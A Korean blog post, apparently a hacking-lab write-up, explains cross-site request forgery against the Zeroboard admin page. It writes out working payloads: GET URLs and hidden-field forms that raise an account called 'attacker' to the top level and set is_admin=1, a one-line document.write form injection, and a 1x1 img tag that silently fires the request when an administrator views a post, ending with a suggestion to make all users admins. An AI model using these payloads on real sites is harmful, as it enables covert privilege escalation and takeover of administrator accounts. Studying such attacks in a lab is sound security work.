티스토리 뷰

이번엔 XSS 의 변종에 대해 알아보도록 하자.


CSRF : Cross Site Request Forgery

 - 사이트간 요청 위조

 - HTML태그를 사용하는 XSS의 변종기법이다.

 - HTML상에서 img, embedded, iframe, ... 등 많이쓰는 태그를 사용하여 공격한다

 - 2008년 옥션의 개인정보 유출사건에서도 관리자 계정을 탈취하는데 이 공격기법이 사용되었다.

 - 공격이 어렵지 않기때문이 널리 쓰이는 편이다.



공격에 들어가기 앞서서 가장 먼저 선행되어야 할 것이 있다.


소스코드 분석


관리자페이지를 분석해보자.


# 이게 관리자 페이지인데 사용자 레벨을 변경한다거나, 사용자를 삭제한다거나가 가능하다.

이것들이 관리자의 고유 권한 중 하나라고 할 수 있는데, 꼭 이 페이지에서만 사용자의 레벨을 바꿀수 있을까?

또는 관리자 페이지에서만 계정을 지울수가있을까?


원리를 생각해보면 이 페이지에서는 값만 전달해주는 역할만 할 뿐이다.

어떤 원리로 관리자페이지에서 이런 값들을 변경해주는지를 알기만하면

이 페이지를 거치지 않아도 이러한 역할을 수행할 수 있다.


폼 데이터를 분석해 보자. form이기때문에 URL로 보여지는 정보는 적고, 코드를 분석해봐야 알 수 있다.

물론 패킷을 확인해 봐도 분석이 가능하다.


# 위와같이 attacker의 레벨을 변경해보면 패킷에도 어떤값이 전달됐는지 확인가능하다.

이렇게 패킷을 분석해봐도 되긴하지만, 이는 네트워크해킹에 더 가까우므로 

소스코드 분석을 통해 확인해보도록 하자.






이 페이지에는 폼이 두개가 있다.


# form 방식으로 데이터를 전송하고있음을 알 수 있다.


admin_setup.php 

page = 1

group_no = 1

exec = view_member

page_num = 10

exec2 =moveall //빈값. 널

cart[]=2 //이게 레벨을 바꿀 사용자 정보

movelevel=1



# 관리자가 특정 사용자의 레벨을 변경할때 필요한 모든 경로의 name속성 값들을 확인하며 변수들을 찾아야한다.


이렇게 소스코드들을 분석했으면






1). GET 방식


admin_setup.php?page=1&group_no=1&exec=view_member&page_num = 10&exec2 =moveall&cart[]=2&movelevel=1

위와같이 입력해보자.


# 입력시 1이 된다. GET방식을 사용하여 URL로 값을 전송하여 변경하였다 






2). POST 방식


POST방식은 무조건 form이 필요하다.

따라서 우리는 document.write("")을 이용하여 가짜폼을 하나 만들어보자.


위에 우리가 분석한 소스코드들을 form형식으로 묶어줘야한다. 

HTML에 작성하듯 폼형태를 만들어주면


<form method=post action=admin_setup.php>

<input type=hidden name=page value=1>

<input type=hidden name=group_no value=1>

<input type=hidden name=exec value=view_member>

<input type=hidden name=page_num value=10>

<input type=hidden name=exec2 value=moveall>

<input type=hidden name=cart[] value=2>

<input type=hidden name=movelevel value=10>

<input type=submit>

</form>


과 같이 작성할 수 있다. 그러나 중요한건 싱글, 더블쿼터(quotation mark)를 삽입할 수 없다.

또한 엔터(개행)를 넣을 수 없다. 

따라서 위의 형식으로 입력하지 않고 다음과 같이한줄로 출력해줘야 한다.


document.write("<form method=post action=admin_setup.php><input type=hidden name=page value=1><input type=hidden name=group_no value=1><input type=hidden name=exec value=view_member><input type=hidden name=page_num value=10><input type=hidden name=exec2 value=moveall><input type=hidden name=cart[] value=2><input type=hidden name=movelevel value=5><input type=submit></form>")



이렇게 한 줄로 이어서 써줘야한다. 이제 화면에 폼을 출력해보기위해 관리자모드 콘솔창에서 입력을 해보면


# 위와같이 document.write가 함수가 아니다 라는 오류가 나온다.

이미 위의 관리자 페이지에서 사용한 write함수와 충돌이 나기 때문이다.

이런경우 다른페이지로 이동해서 입력해보면 된다.

메인페이지로 이동해서 입력을 시도해보겠다.






# POST방식이기 때문에 submit을 누르면 해당 사용자의 레벨이 지정해둔 5로 변경되는것을 볼 수 있다.






# Modify를 눌러 세부권한을 조정해보도록 하자.


이 페이지를 분석해서 grant Level을 최고관리자로, 레벨을 1로 만들어보도록 하자.

위와 동일하게 GET, POST방식으로 모두 구현해보자.


<form name=write method=post action=/zboard/admin_setup.php enctype=multipart/form-data onsubmit="return check_submit();">

<input type=hidden name=exec value=view_member>

<input type=hidden name=exec2 value=modify_member_ok>

<input type=hidden name=group_no value=1>

<input type=hidden name=member_no value=2>

<input type=hidden name=page value=1>

<input type=hidden name=keyword value=>

<input type=hidden name=name value=attacker>

<input type=hidden name=password1 value=1234>

<input type=hidden name=level value=1>

<input type=hidden name=is_admin value=1>

<input type=submit>

</form>

level value=1& is_admin value=1


이렇게 필요한 정보를 수집한 뒤 시도해보면 된다.



# 동일하게 변경이 가능한데 단 이때, User ID 값과 Password 값이 필수로 지정되어야 한다.

이런부분들은 입력을 시도하며 알아 낼 수 있다. 최초에 위의 두 항목 없이 값을 대입할 경우 오류가 나게 되는데,

오류는 공격자 입장에서 성공에 가까워지는 신호로 볼 수 있다. 

공격자가 시스템에 개입하고 있기 때문에 오류가 나는것이기 때문.



http://100.100.100.110/zboard/admin_setup.php?exec=view_member&group_no=1&exec2=modify_member_ok&member_no=2&page=1&keyword=&name=attacker&password1=1234&level=1&is_admin=1

이렇게 입력해주면 값이 변경된다.






img 태그를 이용한 가짜 요청 만들기


<img src="path/url" />

이미지는 위와같이 태그를 이용하여 소스코드가 작성된다. 그런데 우측에 오는 값이 꼭 그림일 필요가 없다는 것이다.


# img태그를 이용한 유저 레벨변경


<img src="http://100.100.100.110/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2&page=1&keyword=&password=&password1=&level=5&name=attacker&is_admin=1" width=1 height=1>


해당 img파일을 가져와아하기 때문에 요청이 나간다. 이 떄, 그 요청에 해당하는 부분을 URL로 바꿔두면

관리자가 해당 게시물을 클릭하였을때 요청이 나가게 되어 권한이 변경된다.

img 태그를 이용하여 그림이 아니더라도 요청은 나간다는것이다.


<img src="http://naver.com" / width=1 height=1> 이와같이 우측의 크기를 설정해주면

해당 요청은 나가게되는데 크기가 매우 작아 육안으로 판단이 어렵다.


이러한 img 태그 소스코드가 들어있는 페이지를 관리자가 열면

관리자가 페이지를 여는순간 요청이 나가게 된다.

이 경우, 서버 입장에서는 관리자가 요청한것이 되므로 권한이 바뀌게 된다.






위에서 다뤄 본 것들이 CSRF 공격에 해당된다.

이러한 공격을 하기위해선 페이지에 대한 분석이 필수적인데, 페이지에서 확인할 수 있는 모든 정보를

파악하고 그것을 사용할 수 있어야한다.


member_no 같은 경우도 소스코드보기로는 드러나지 않는다. 

하지만 해당 계정의 클라이언트에게 쪽지보내기를 눌렀을때 URL의 우측에서 확인이 가능하다.


또한 관리자 권한으로 해당 사용자의 권한을 변경할 때, 반드시 들어가야하는 값들이 어떤것이 있는지는

오류메세지를 확인하며 시행착오를 거치며 성공 할 수 있다.

이렇게 몇번 시도해보면 이름(name)만 들어가 있으면 된다는 것을 알 수 있다.


사실 공격자 입장에서 내 멤버넘버가 뭔지 모르겠을경우 그냥 모든 사용자를 그냥 다 어드민으로 만들면 된다.

댓글
댓글쓰기 폼
공지사항
Total
290,627
Today
19
Yesterday
32
링크
TAG
more
«   2022/08   »
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      
글 보관함